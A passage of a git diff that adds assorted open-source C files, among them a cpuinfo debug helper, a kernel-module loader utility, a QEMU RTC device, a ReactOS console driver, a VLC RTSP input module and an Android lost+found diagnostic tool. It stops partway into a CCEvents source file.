diff --git a/pool/shard001/C/0024843_debug.c b/pool/shard001/C/0024843_debug.c
new file mode 100644
index 0000000000000000000000000000000000000000..920dfc6ed2f9e049f6bc26b422a225f2f30eec46
--- /dev/null
+++ b/pool/shard001/C/0024843_debug.c
@@ -0,0 +1,42 @@
+/*
+ *  debug.c - Debugging utilities
+ *
+ *  cpuinfo (C) 2006-2007 Gwenole Beauchesne
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public License
+ *  as published by the Free Software Foundation; either version 2.1
+ *  of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#include "sysdeps.h"
+#include <stdarg.h>
+#include "debug.h"
+
+
+static FILE *g_debug_file = NULL;
+
+void cpuinfo_set_debug_file(FILE *debug_file)
+{
+  g_debug_file = debug_file;
+}
+
+void cpuinfo_dprintf(const char *format, ...)
+{
+  if (g_debug_file) {
+	va_list args;
+	va_start(args, format);
+	fprintf(g_debug_file, "* ");
+	vfprintf(g_debug_file, format, args);
+	va_end(args);
+  }
+}
diff --git a/pool/shard001/C/0024844_pkggloom.c b/pool/shard001/C/0024844_pkggloom.c
new file mode 100644
index 0000000000000000000000000000000000000000..1454e91b5e2e6aa996d1447bff7ebf04a6db03d2
--- /dev/null
+++ b/pool/shard001/C/0024844_pkggloom.c
@@ -0,0 +1,161 @@
+/*! \file pkggloom.c
+	Gloom userspace utility
+*/
+#if !defined(VERSION)
+	#define VERSION "DEV"
+#endif /* VERSION */
+
+
+#include "ioctl.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdbool.h>
+
+#include <getopt.h>
+
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+
+#include <sys/syscall.h>
+
+
+
+static int verbose;
+static int aload;
+static int action;
+
+#define LOG(msg, ...)				 		 \
+	if(verbose)	printf(msg "\n", __VA_ARGS__)
+
+void print_help(void);
+int check_module(void);
+int load_module(void);
+
+int main(int argc, char* argv[]) {
+	if(argc<= 1) {
+		print_help();
+		exit(0);
+	}
+	int c;
+	static struct option long_ops[] = {
+		{"verbose", no_argument, &verbose, 1},
+		{"quiet",   no_argument, &verbose, 0},
+		{"auto-load", no_argument, &aload, 1},
+		/* Non flag options */
+		{"patch", required_argument, 0,  'p'},
+		{"build", required_argument, 0,  'b'},
+		{"direct", required_argument,0,  'd'},
+		{"version", no_argument,     0,  'v'},
+		{"help", no_argument,        0,  'h'},
+		{       0,           0,      0,    0}
+	};
+	while(true) {
+		int opt_index = 0;
+		c = getopt_long(argc, argv, "p:b:d:vh", long_ops, &opt_index);
+		if(c == -1)
+			break;
+		switch(c) {
+			case 0:
+				if(long_ops[opt_index].flag != 0)
+					break;
+			case 'p':
+				action = 1;
+				break;
+			case 'b':
+				action = 2;
+				break;
+			case 'd':
+				action = 3;
+				break;
+			case 'v':
+				printf("pkg-gloom version %s\n", VERSION);
+				exit(0);
+			case 'h':
+				print_help();
+				exit(0);
+			case '?':
+				break;
+			default:
+				print_help();
+				exit(0);
+		}
+	}
+	if(action == 0) {
+		printf("Invalid Action!\n");
+		exit(-1);
+	}
+	if(geteuid() != 0) {
+		printf("pkg-gloom must be run as root!\n");
+		exit(-1);
+	}
+	if(check_module() == 0) {
+		printf("The gloom kernel module 'kgloom' is not loaded!\n");
+		if(aload == 1) {
+			printf("Attempting to auto-load module...\n");
+			if(load_module() < 0) {
+				printf("Loading module failed. (%d) %s\n", errno, strerror(errno));
+				exit(-1);
+			}
+			printf("Well look at that, module loaded\n");
+		} else {
+			printf("Auto-load not set, not attempting to load module.\n");
+			exit(-1);
+		}
+	}
+	// Do things.
+	return 0;
+}
+
+
+void print_help(void) {
+	printf("usage: pkg-gloom [-p <patch.gobj> | -b <patch.gloom> | -d <patch.gloom> | -v | -h] \n");
+	printf("\t-p,--patch\t\tSubmit Gloom patch\n");
+	printf("\t-b,--build\t\tBuild Gloom patch object\n");
+	printf("\t-d,--direct\t\tDirectly submit patch\n");
+	printf("\n");
+	printf("\t-v,--version\t\tPrint version string\n");
+	printf("\t-h,--help\t\tThis message\n");
+	printf("\t--verbose\t\tEnable verbose output\n");
+	printf("\t--auto-load\t\tAttempts to automatically load the kgloom kernel module\n");
+}
+
+int reg_unreg_dev(bool r) {
+	static dev_t dev;
+	if(r) {
+		LOG("Enabling device %s", "/dev/gloom");
+		return mknod("/dev/gloom", S_IFCHR | S_IRUSR | S_IWUSR |
+			                                 S_IRGRP | S_IWGRP |
+			                                 S_IROTH | S_IWOTH,
+			         dev);
+	} else {
+		LOG("Disabling device %s", "/dev/gloom");
+		return unlink("/dev/gloom");
+	}
+}
+
+int check_module(void) {
+	FILE* fd = popen("lsmod | grep kgloom", "r");
+	int loaded = 0;
+	char buff[16];
+	if(fread(buff, 1, sizeof(buff), fd) > 0)
+		loaded = 1;
+
+	pclose(fd);
+	return loaded;
+}
+
+int load_module(void) {
+	int fd, res;
+	if((fd = open("kgloom.ko", O_RDONLY)) < 0) {
+		LOG("Can't seem to open the file, got %d\n", fd);
+		return -1;
+	}
+	res = syscall(SYS_finit_module, fd, "", 0);
+	close(fd);
+	return res;
+}
diff --git a/pool/shard001/C/0024851_silverbox_rtc.c b/pool/shard001/C/0024851_silverbox_rtc.c
new file mode 100644
index 0000000000000000000000000000000000000000..32e1fd3bf572ec81e87e4bed5d0ac7eb2ade2944
--- /dev/null
+++ b/pool/shard001/C/0024851_silverbox_rtc.c
@@ -0,0 +1,124 @@
+#include "qemu-timer.h"
+#include "cpu.h"
+#include "irq.h"
+
+struct rtc_state {
+    target_phys_addr_t base;
+    uint32_t alarm_low;
+    int32_t alarm_high;
+    int64_t now;
+    qemu_irq irq;
+    QEMUTimer *timer;
+};
+
+/* we save the RTC for the case where the kernel is in the middle of a rtc_read
+ * (i.e. it has read the low 32-bit of s->now, but not the high 32-bits yet */
+#define  SILVERBOX_RTC_SAVE_VERSION  1
+
+static void  silverbox_rtc_save(QEMUFile*  f, void*  opaque)
+{
+    struct rtc_state*  s = opaque;
+
+    qemu_put_be64(f, s->now);
+}
+
+static int  silverbox_rtc_load(QEMUFile*  f, void*  opaque, int  version_id)
+{
+    struct  rtc_state*  s = opaque;
+
+    if (version_id != SILVERBOX_RTC_SAVE_VERSION)
+        return -1;
+
+    /* this is an old value that is not correct. but that's ok anyway */
+    s->now = qemu_get_be64(f);
+    return 0;
+}
+
+static void silverbox_rtc_tm(void *opaque)
+{
+    struct rtc_state *s = opaque;
+
+    qemu_irq_raise(s->irq);
+}
+
+static uint32_t silverbox_rtc_read(void *opaque, target_phys_addr_t offset)
+{
+    struct rtc_state *s = (struct rtc_state *)opaque;
+    uint32_t ret = 0;
+
+    offset -= s->base;
+    switch(offset) {
+        case 0x0:
+            s->now = (int64_t)time(NULL) * 1000000000;
+            ret = s->now;
+            goto out;
+        case 0x4:
+            ret = s->now >> 32;
+            goto out;
+        default:
+            cpu_abort (cpu_single_env, "silverbox_rtc_read: Bad offset %x\n", offset);
+    }
+out:
+#ifdef TARGET_WORDS_BIGENDIAN
+    ret = bswap32(ret);
+#endif
+    return ret;
+}
+
+static void silverbox_rtc_write(void *opaque, target_phys_addr_t offset, uint32_t value)
+{
+    struct rtc_state *s = (struct rtc_state *)opaque;
+    int64_t alarm;
+
+#ifdef TARGET_WORDS_BIGENDIAN
+    value = bswap32(value);
+#endif
+
+    offset -= s->base;
+    switch(offset) {
+        case 0x8:
+            s->alarm_low = value;
+            alarm = s->alarm_low | (int64_t)s->alarm_high << 32;
+            //printf("next alarm at %lld, tps %lld\n", alarm, ticks_per_sec);
+            qemu_mod_timer(s->timer, alarm);
+            break;
+        case 0xc:
+            s->alarm_high = value;
+            //printf("alarm_high %d\n", s->alarm_high);
+            break;
+        case 0x10:
+            qemu_irq_lower(s->irq);
+            //silverbox_device_set_irq(&s->dev, 0, 0);
+            break;
+        default:
+            cpu_abort (cpu_single_env, "silverbox_rtc_write: Bad offset %x\n", offset);
+    }
+}
+
+static struct rtc_state rtc_state;
+
+static CPUReadMemoryFunc *silverbox_rtc_readfn[] = {
+    silverbox_rtc_read,
+    silverbox_rtc_read,
+    silverbox_rtc_read
+};
+
+static CPUWriteMemoryFunc *silverbox_rtc_writefn[] = {
+    silverbox_rtc_write,
+    silverbox_rtc_write,
+    silverbox_rtc_write
+};
+
+void silverbox_rtc_init(uint32_t base, qemu_irq irq)
+{
+    int iomemtype = cpu_register_io_memory(0, silverbox_rtc_readfn,
+                                           silverbox_rtc_writefn, &rtc_state);
+    cpu_register_physical_memory(base, 0x100, iomemtype);
+    rtc_state.base = base;
+    rtc_state.irq = irq;
+    rtc_state.timer = qemu_new_timer(vm_clock, silverbox_rtc_tm, &rtc_state);
+
+    register_savevm( "silverbox_rtc", 0, SILVERBOX_RTC_SAVE_VERSION,
+                     silverbox_rtc_save, silverbox_rtc_load, &rtc_state);
+}
+
diff --git a/pool/shard001/C/0024855_condrv.c b/pool/shard001/C/0024855_condrv.c
new file mode 100644
index 0000000000000000000000000000000000000000..ec4440e6c5782ce2723512d17828ec1cab879edd
--- /dev/null
+++ b/pool/shard001/C/0024855_condrv.c
@@ -0,0 +1,153 @@
+/*
+ * COPYRIGHT:       GPL - See COPYING in the top level directory
+ * PROJECT:         ReactOS Virtual DOS Machine
+ * FILE:            dos/dos32krnl/condrv.c
+ * PURPOSE:         DOS32 CON Driver
+ * PROGRAMMERS:     Aleksandar Andrejevic <theflash AT sdf DOT lonestar DOT org>
+ *                  Hermes Belusca-Maito (hermes.belusca@sfr.fr)
+ */
+
+/* INCLUDES *******************************************************************/
+
+#define NDEBUG
+
+#include "ntvdm.h"
+#include "emulator.h"
+
+#include "dos.h"
+#include "dos/dem.h"
+
+#include "bios/bios.h"
+
+/* PRIVATE VARIABLES **********************************************************/
+
+PDOS_DEVICE_NODE Con = NULL;
+BYTE ExtendedCode = 0;
+
+/* PRIVATE FUNCTIONS **********************************************************/
+
+WORD NTAPI ConDrvReadInput(PDOS_DEVICE_NODE Device, DWORD Buffer, PWORD Length)
+{
+    CHAR Character;
+    WORD BytesRead = 0;
+    PCHAR Pointer = (PCHAR)FAR_POINTER(Buffer);
+
+    /* Save AX */
+    USHORT AX = getAX();
+
+    /*
+     * Use BIOS Get Keystroke function
+     */
+    while (BytesRead < *Length)
+    {
+        if (!ExtendedCode)
+        {
+            /* Call the BIOS INT 16h, AH=00h "Get Keystroke" */
+            setAH(0x00);
+            Int32Call(&DosContext, BIOS_KBD_INTERRUPT);
+
+            /* Retrieve the character in AL (scan code is in AH) */
+            Character = getAL();
+        }
+        else
+        {
+            /* Return the extended code */
+            Character = ExtendedCode;
+
+            /* And then clear it */
+            ExtendedCode = 0;
+        }
+
+        /* Check if this is a special character */
+        if (Character == 0) ExtendedCode = getAH();
+
+        if (DoEcho) DosPrintCharacter(DOS_OUTPUT_HANDLE, Character);
+        Pointer[BytesRead++] = Character;
+
+        /* Stop on first carriage return */
+        if (Character == '\r')
+        {
+            if (DoEcho) DosPrintCharacter(DOS_OUTPUT_HANDLE, '\n');
+            break;
+        }
+    }
+
+    *Length = BytesRead;
+
+    /* Restore AX */
+    setAX(AX);
+    return DOS_DEVSTAT_DONE;
+}
+
+WORD NTAPI ConDrvInputStatus(PDOS_DEVICE_NODE Device)
+{
+    /* Save AX */
+    USHORT AX = getAX();
+
+    /* Call the BIOS */
+    setAH(0x01); // or 0x11 for enhanced, but what to choose?
+    Int32Call(&DosContext, BIOS_KBD_INTERRUPT);
+
+    /* Restore AX */
+    setAX(AX);
+
+    /* If ZF is set, set the busy bit */
+    if (getZF()) return DOS_DEVSTAT_BUSY;
+    else return DOS_DEVSTAT_DONE;
+}
+
+WORD NTAPI ConDrvWriteOutput(PDOS_DEVICE_NODE Device, DWORD Buffer, PWORD Length)
+{
+    WORD BytesWritten;
+    PCHAR Pointer = (PCHAR)FAR_POINTER(Buffer);
+
+    /* Save AX */
+    USHORT AX = getAX();
+
+    for (BytesWritten = 0; BytesWritten < *Length; BytesWritten++)
+    {
+        /* Set the character */
+        setAL(Pointer[BytesWritten]);
+
+        /* Call the BIOS INT 29h "Fast Console Output" function */
+        Int32Call(&DosContext, 0x29);
+    }
+
+    /* Restore AX */
+    setAX(AX);
+    return DOS_DEVSTAT_DONE;
+}
+
+WORD NTAPI ConDrvOpen(PDOS_DEVICE_NODE Device)
+{
+    DPRINT("Handle to %Z opened\n", &Device->Name);
+    return DOS_DEVSTAT_DONE;
+}
+
+WORD NTAPI ConDrvClose(PDOS_DEVICE_NODE Device)
+{
+    DPRINT("Handle to %Z closed\n", &Device->Name);
+    return DOS_DEVSTAT_DONE;
+}
+
+/* PUBLIC FUNCTIONS ***********************************************************/
+
+VOID ConDrvInitialize(VOID)
+{
+    Con = DosCreateDevice(DOS_DEVATTR_STDIN
+                          | DOS_DEVATTR_STDOUT
+                          | DOS_DEVATTR_CON
+                          | DOS_DEVATTR_CHARACTER,
+                          "CON");
+
+    Con->ReadRoutine        = ConDrvReadInput;
+    Con->InputStatusRoutine = ConDrvInputStatus;
+    Con->WriteRoutine       = ConDrvWriteOutput;
+    Con->OpenRoutine        = ConDrvOpen;
+    Con->CloseRoutine       = ConDrvClose;
+}
+
+VOID ConDrvCleanup(VOID)
+{
+    if (Con) DosDeleteDevice(Con);
+}
diff --git a/pool/shard001/C/0024856_access.c b/pool/shard001/C/0024856_access.c
new file mode 100644
index 0000000000000000000000000000000000000000..dd786bec42a4e21d43ee21713150b5bed5bf7d3b
--- /dev/null
+++ b/pool/shard001/C/0024856_access.c
@@ -0,0 +1,330 @@
+/*****************************************************************************
+ * access.c: Real rtsp input
+ *****************************************************************************
+ * Copyright (C) 2005 VideoLAN
+ * $Id$
+ *
+ * Authors: Gildas Bazin <gbazin@videolan.org>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.
+ *****************************************************************************/
+
+/*****************************************************************************
+ * Preamble
+ *****************************************************************************/
+#ifdef HAVE_CONFIG_H
+# include "config.h"
+#endif
+
+#include <vlc_common.h>
+#include <vlc_plugin.h>
+#include <vlc_access.h>
+#include <vlc_dialog.h>
+
+#include <vlc_network.h>
+#include "rtsp.h"
+#include "real.h"
+
+/*****************************************************************************
+ * Module descriptor
+ *****************************************************************************/
+static int  Open ( vlc_object_t * );
+static void Close( vlc_object_t * );
+
+vlc_module_begin ()
+    set_description( N_("Real RTSP") )
+    set_shortname( N_("Real RTSP") )
+    set_category( CAT_INPUT )
+    set_subcategory( SUBCAT_INPUT_ACCESS )
+    set_capability( "access", 10 )
+    set_callbacks( Open, Close )
+    add_shortcut( "realrtsp", "rtsp", "pnm" )
+vlc_module_end ()
+
+
+/*****************************************************************************
+ * Exported prototypes
+ *****************************************************************************/
+static block_t *BlockRead( access_t * );
+static int     Seek( access_t *, uint64_t );
+static int     Control( access_t *, int, va_list );
+
+struct access_sys_t
+{
+    rtsp_client_t *p_rtsp;
+
+    int fd;
+
+    block_t *p_header;
+};
+
+/*****************************************************************************
+ * Network wrappers
+ *****************************************************************************/
+static int RtspConnect( void *p_userdata, char *psz_server, int i_port )
+{
+    access_t *p_access = (access_t *)p_userdata;
+    access_sys_t *p_sys = p_access->p_sys;
+
+    /* Open connection */
+    p_sys->fd = net_ConnectTCP( p_access, psz_server, i_port );
+    if( p_sys->fd < 0 )
+    {
+        msg_Err( p_access, "cannot connect to %s:%d", psz_server, i_port );
+        dialog_Fatal( p_access, _("Connection failed"),
+                        _("VLC could not connect to \"%s:%d\"."), psz_server, i_port );
+        return VLC_EGENERIC;
+    }
+
+    return VLC_SUCCESS;
+}
+
+static int RtspDisconnect( void *p_userdata )
+{
+    access_t *p_access = (access_t *)p_userdata;
+    access_sys_t *p_sys = p_access->p_sys;
+
+    net_Close( p_sys->fd );
+    return VLC_SUCCESS;
+}
+
+static int RtspRead( void *p_userdata, uint8_t *p_buffer, int i_buffer )
+{
+    access_t *p_access = (access_t *)p_userdata;
+    access_sys_t *p_sys = p_access->p_sys;
+
+    return net_Read( p_access, p_sys->fd, 0, p_buffer, i_buffer, true );
+}
+
+static int RtspReadLine( void *p_userdata, uint8_t *p_buffer, int i_buffer )
+{
+    access_t *p_access = (access_t *)p_userdata;
+    access_sys_t *p_sys = p_access->p_sys;
+
+    char *psz = net_Gets( p_access, p_sys->fd, 0 );
+
+    //fprintf(stderr, "ReadLine: %s\n", psz);
+
+    if( psz ) strncpy( (char *)p_buffer, psz, i_buffer );
+    else *p_buffer = 0;
+
+    free( psz );
+    return 0;
+}
+
+static int RtspWrite( void *p_userdata, uint8_t *p_buffer, int i_buffer )
+{
+    VLC_UNUSED(i_buffer);
+    access_t *p_access = (access_t *)p_userdata;
+    access_sys_t *p_sys = p_access->p_sys;
+
+    //fprintf(stderr, "Write: %s", p_buffer);
+
+    net_Printf( p_access, p_sys->fd, 0, "%s", p_buffer );
+
+    return 0;
+}
+
+/*****************************************************************************
+ * Open: open the rtsp connection
+ *****************************************************************************/
+static int Open( vlc_object_t *p_this )
+{
+    access_t *p_access = (access_t *)p_this;
+    access_sys_t *p_sys;
+    char* psz_server = NULL;
+    int i_result;
+
+    if( !p_access->psz_access || (
+        strncmp( p_access->psz_access, "rtsp", 4 ) &&
+        strncmp( p_access->psz_access, "pnm", 3 )  &&
+        strncmp( p_access->psz_access, "realrtsp", 8 ) ))
+    {
+            return VLC_EGENERIC;
+    }
+
+    p_access->pf_read = NULL;
+    p_access->pf_block = BlockRead;
+    p_access->pf_seek = Seek;
+    p_access->pf_control = Control;
+    p_access->info.i_pos = 0;
+    p_access->info.b_eof = false;
+    p_access->p_sys = p_sys = malloc( sizeof( access_sys_t ) );
+    if( !p_sys )
+        return VLC_ENOMEM;
+    p_sys->p_rtsp = malloc( sizeof( rtsp_client_t) );
+    if( !p_sys->p_rtsp )
+    {
+        free( p_sys );
+        return VLC_ENOMEM;
+    }
+
+    p_sys->p_header = NULL;
+    p_sys->p_rtsp->p_userdata = p_access;
+    p_sys->p_rtsp->pf_connect = RtspConnect;
+    p_sys->p_rtsp->pf_disconnect = RtspDisconnect;
+    p_sys->p_rtsp->pf_read = RtspRead;
+    p_sys->p_rtsp->pf_read_line = RtspReadLine;
+    p_sys->p_rtsp->pf_write = RtspWrite;
+
+    i_result = rtsp_connect( p_sys->p_rtsp, p_access->psz_location, 0 );
+    if( i_result )
+    {
+        msg_Dbg( p_access, "could not connect to: %s", p_access->psz_location );
+        free( p_sys->p_rtsp );
+        p_sys->p_rtsp = NULL;
+        goto error;
+    }
+
+    msg_Dbg( p_access, "rtsp connected" );
+
+    /* looking for server type */
+    if( rtsp_search_answers( p_sys->p_rtsp, "Server" ) )
+        psz_server = strdup( rtsp_search_answers( p_sys->p_rtsp, "Server" ) );
+    else
+    {
+        if( rtsp_search_answers( p_sys->p_rtsp, "RealChallenge1" ) )
+            psz_server = strdup("Real");
+        else
+            psz_server = strdup("unknown");
+    }
+
+    if( strstr( psz_server, "Real" ) || strstr( psz_server, "Helix" ) )
+    {
+        uint32_t bandwidth = 10485800;
+        rmff_header_t *h;
+
+        msg_Dbg( p_access, "found a real/helix rtsp server" );
+
+        if( !(h = real_setup_and_get_header( p_sys->p_rtsp, bandwidth )) )
+        {
+            /* Check if we got a redirect */
+            if( rtsp_search_answers( p_sys->p_rtsp, "Location" ) )
+            {
+                msg_Dbg( p_access, "redirect: %s",
+                         rtsp_search_answers(p_sys->p_rtsp, "Location") );
+                msg_Warn( p_access, "redirect not supported" );
+                goto error;
+            }
+
+
+            msg_Err( p_access, "rtsp session can not be established" );
+            dialog_Fatal( p_access, _("Session failed"), "%s",
+                    _("The requested RTSP session could not be established.") );
+            goto error;
+        }
+
+        p_sys->p_header = block_Alloc( 4096 );
+        p_sys->p_header->i_buffer =
+            rmff_dump_header( h, (char *)p_sys->p_header->p_buffer, 1024 );
+        rmff_free_header( h );
+    }
+    else
+    {
+        msg_Warn( p_access, "only real/helix rtsp servers supported for now" );
+        goto error;
+    }
+
+    free( psz_server );
+    return VLC_SUCCESS;
+
+ error:
+    free( psz_server );
+    Close( p_this );
+    return VLC_EGENERIC;
+}
+
+/*****************************************************************************
+ * Close: close the target
+ *****************************************************************************/
+static void Close( vlc_object_t * p_this )
+{
+    access_t     *p_access = (access_t*)p_this;
+    access_sys_t *p_sys = p_access->p_sys;
+
+    if( p_sys->p_rtsp ) rtsp_close( p_sys->p_rtsp );
+    free( p_sys->p_rtsp );
+    free( p_sys );
+}
+
+/*****************************************************************************
+ * Read: standard read on a file descriptor.
+ *****************************************************************************/
+static block_t *BlockRead( access_t *p_access )
+{
+    access_sys_t *p_sys = p_access->p_sys;
+    block_t *p_block;
+    rmff_pheader_t pheader;
+    int i_size;
+
+    if( p_sys->p_header )
+    {
+        p_block = p_sys->p_header;
+        p_sys->p_header = NULL;
+        return p_block;
+    }
+
+    i_size = real_get_rdt_chunk_header( p_access->p_sys->p_rtsp, &pheader );
+    if( i_size <= 0 ) return NULL;
+
+    p_block = block_Alloc( i_size );
+    p_block->i_buffer = real_get_rdt_chunk( p_access->p_sys->p_rtsp, &pheader,
+                                            &p_block->p_buffer );
+
+    return p_block;
+}
+
+/*****************************************************************************
+ * Seek: seek to a specific location in a file
+ *****************************************************************************/
+static int Seek( access_t *p_access, uint64_t i_pos )
+{
+    VLC_UNUSED(p_access);
+    VLC_UNUSED(i_pos);
+    return VLC_SUCCESS;
+}
+
+/*****************************************************************************
+ * Control:
+ *****************************************************************************/
+static int Control( access_t *p_access, int i_query, va_list args )
+{
+    switch( i_query )
+    {
+        case ACCESS_CAN_SEEK:
+        case ACCESS_CAN_FASTSEEK:
+        case ACCESS_CAN_PAUSE:
+            *va_arg( args, bool* ) = false;
+            break;
+
+        case ACCESS_CAN_CONTROL_PACE:
+            *va_arg( args, bool* ) = true;
+            break;
+
+        case ACCESS_GET_PTS_DELAY:
+            *va_arg( args, int64_t * ) = INT64_C(1000)
+                * var_InheritInteger(p_access, "network-caching");
+            break;
+
+        case ACCESS_SET_PAUSE_STATE:
+            /* Nothing to do */
+            break;
+
+        default:
+            return VLC_EGENERIC;
+    }
+
+    return VLC_SUCCESS;
+}
diff --git a/pool/shard001/C/0024860_check-lost+found.c b/pool/shard001/C/0024860_check-lost+found.c
new file mode 100644
index 0000000000000000000000000000000000000000..f85627544cc514c9f0871b9b69d7d6a2bbe8b6d2
--- /dev/null
+++ b/pool/shard001/C/0024860_check-lost+found.c
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dirent.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/klog.h>
+#include <sys/reboot.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <time.h>
+
+#include "private/android_filesystem_config.h"
+
+// Sentinel file used to track whether we've forced a reboot
+static const char *kMarkerFile = "/data/misc/check-lost+found-rebooted-2";
+
+// Output file in tombstones directory (first 8K will be uploaded)
+static const char *kOutputDir = "/data/tombstones";
+static const char *kOutputFile = "/data/tombstones/check-lost+found-log";
+
+// Partitions to check
+static const char *kPartitions[] = { "/system", "/data", "/cache", NULL };
+
+/*
+ * 1. If /data/misc/forced-reboot is missing, touch it & force "unclean" boot.
+ * 2. Write a log entry with the number of files in lost+found directories.
+ */
+
+int main(int argc, char **argv) {
+    mkdir(kOutputDir, 0755);
+    chown(kOutputDir, AID_SYSTEM, AID_SYSTEM);
+    FILE *out = fopen(kOutputFile, "a");
+    if (out == NULL) {
+        fprintf(stderr, "Can't write %s: %s\n", kOutputFile, strerror(errno));
+        return 1;
+    }
+
+    // Note: only the first 8K of log will be uploaded, so be terse.
+    time_t start = time(NULL);
+    fprintf(out, "*** check-lost+found ***\nStarted: %s", ctime(&start));
+
+    struct stat st;
+    if (stat(kMarkerFile, &st)) {
+        // No reboot marker -- need to force an unclean reboot.
+        // But first, try to create the marker file.  If that fails,
+        // skip the reboot, so we don't get caught in an infinite loop.
+
+        int fd = open(kMarkerFile, O_WRONLY|O_CREAT, 0444);
+        if (fd >= 0 && close(fd) == 0) {
+            fprintf(out, "Wrote %s, rebooting\n", kMarkerFile);
+            fflush(out);
+            sync();  // Make sure the marker file is committed to disk
+
+            // If possible, dirty each of these partitions before rebooting,
+            // to make sure the filesystem has to do a scan on mount.
+            int i;
+            for (i = 0; kPartitions[i] != NULL; ++i) {
+                char fn[PATH_MAX];
+                snprintf(fn, sizeof(fn), "%s/%s", kPartitions[i], "dirty");
+                fd = open(fn, O_WRONLY|O_CREAT, 0444);
+                if (fd >= 0) {  // Don't sweat it if we can't write the file.
+                    write(fd, fn, sizeof(fn));  // write, you know, some data
+                    close(fd);
+                    unlink(fn);
+                }
+            }
+
+            reboot(RB_AUTOBOOT);  // reboot immediately, with dirty filesystems
+            fprintf(out, "Reboot failed?!\n");
+            exit(1);
+        } else {
+            fprintf(out, "Can't write %s: %s\n", kMarkerFile, strerror(errno));
+        }
+    } else {
+        fprintf(out, "Found %s\n", kMarkerFile);
+    }
+
+    int i;
+    for (i = 0; kPartitions[i] != NULL; ++i) {
+        char fn[PATH_MAX];
+        snprintf(fn, sizeof(fn), "%s/%s", kPartitions[i], "lost+found");
+        DIR *dir = opendir(fn);
+        if (dir == NULL) {
+            fprintf(out, "Can't open %s: %s\n", fn, strerror(errno));
+        } else {
+            int count = 0;
+            struct dirent *ent;
+            while ((ent = readdir(dir))) {
+                if (strcmp(ent->d_name, ".") && strcmp(ent->d_name, ".."))
+                    ++count;
+            }
+            closedir(dir);
+            if (count > 0) {
+                fprintf(out, "OMGZ FOUND %d FILES IN %s\n", count, fn);
+            } else {
+                fprintf(out, "%s is clean\n", fn);
+            }
+        }
+    }
+
+    char dmesg[131073];
+    int len = klogctl(KLOG_READ_ALL, dmesg, sizeof(dmesg) - 1);
+    if (len < 0) {
+        fprintf(out, "Can't read kernel log: %s\n", strerror(errno));
+    } else {  // To conserve space, only write lines with certain keywords
+        fprintf(out, "--- Kernel log ---\n");
+        dmesg[len] = '\0';
+        char *saveptr, *line;
+        int in_yaffs = 0;
+        for (line = strtok_r(dmesg, "\n", &saveptr); line != NULL;
+             line = strtok_r(NULL, "\n", &saveptr)) {
+            if (strstr(line, "yaffs: dev is")) in_yaffs = 1;
+
+            if (in_yaffs ||
+                    strstr(line, "yaffs") ||
+                    strstr(line, "mtd") ||
+                    strstr(line, "msm_nand")) {
+                fprintf(out, "%s\n", line);
+            }
+
+            if (strstr(line, "yaffs_read_super: isCheckpointed")) in_yaffs = 0;
+        }
+    }
+
+    return 0;
+}
diff --git a/pool/shard001/C/0024871_ccevents-groups.c b/pool/shard001/C/0024871_ccevents-groups.c
new file mode 100644
index 0000000000000000000000000000000000000000..113670dc559580d99cf20a0fc63c7b278678845c
--- /dev/null
+++ b/pool/shard001/C/0024871_ccevents-groups.c
@@ -0,0 +1,138 @@
+/*
+  Part of: CCEvents
+  Contents: groups of events sources
+  Date: Thu Feb  2, 2017
+
+  Abstract
+
+	Groups are collections of event sources that must be queried for
+	pending events with the same priority.  Multiple groups are used
+	to establish a  priority order between sets  of sources.  Events
+	from higher priority groups should  be served before events from
+	lower priority groups.
+
+  Copyright (C) 2017 Marco Maggi <marco.maggi-ipsu@poste.it>
+
+  This is free software; you can  redistribute it and/or modify it under
+  the terms of the GNU Lesser General Public License as published by the
+  Free Software  Foundation; either version  3.0 of the License,  or (at
+  your option) any later version.
+
+  This library  is distributed in the  hope that it will  be useful, but
+  WITHOUT   ANY  WARRANTY;   without  even   the  implied   warranty  of
+  MERCHANTABILITY  or FITNESS  FOR A  PARTICULAR PURPOSE.   See  the GNU
+  Lesser General Public License for more details.
+
+  You  should have  received a  copy of  the GNU  Lesser  General Public
+  License along  with this library; if  not, write to  the Free Software
+  Foundation, Inc.,  59 Temple Place,  Suite 330, Boston,  MA 02111-1307
+  USA.
+
+*/
+
+#include "ccevents-internals.h"
+
+
+/** --------------------------------------------------------------------
+ ** Helpers.
+ ** ----------------------------------------------------------------- */
+
+__attribute__((pure,nonnull(1),always_inline))
+static inline ccevents_source_t *
+ccevents_group_current_source (ccevents_group_t * grp)
+{
+  return (ccevents_source_t *)ccevents_queue_current_node(grp->sources);
+}
+
+__attribute__((nonnull(1),always_inline))
+static inline void
+ccevents_group_advance_to_next_source (ccevents_group_t * grp)
+{
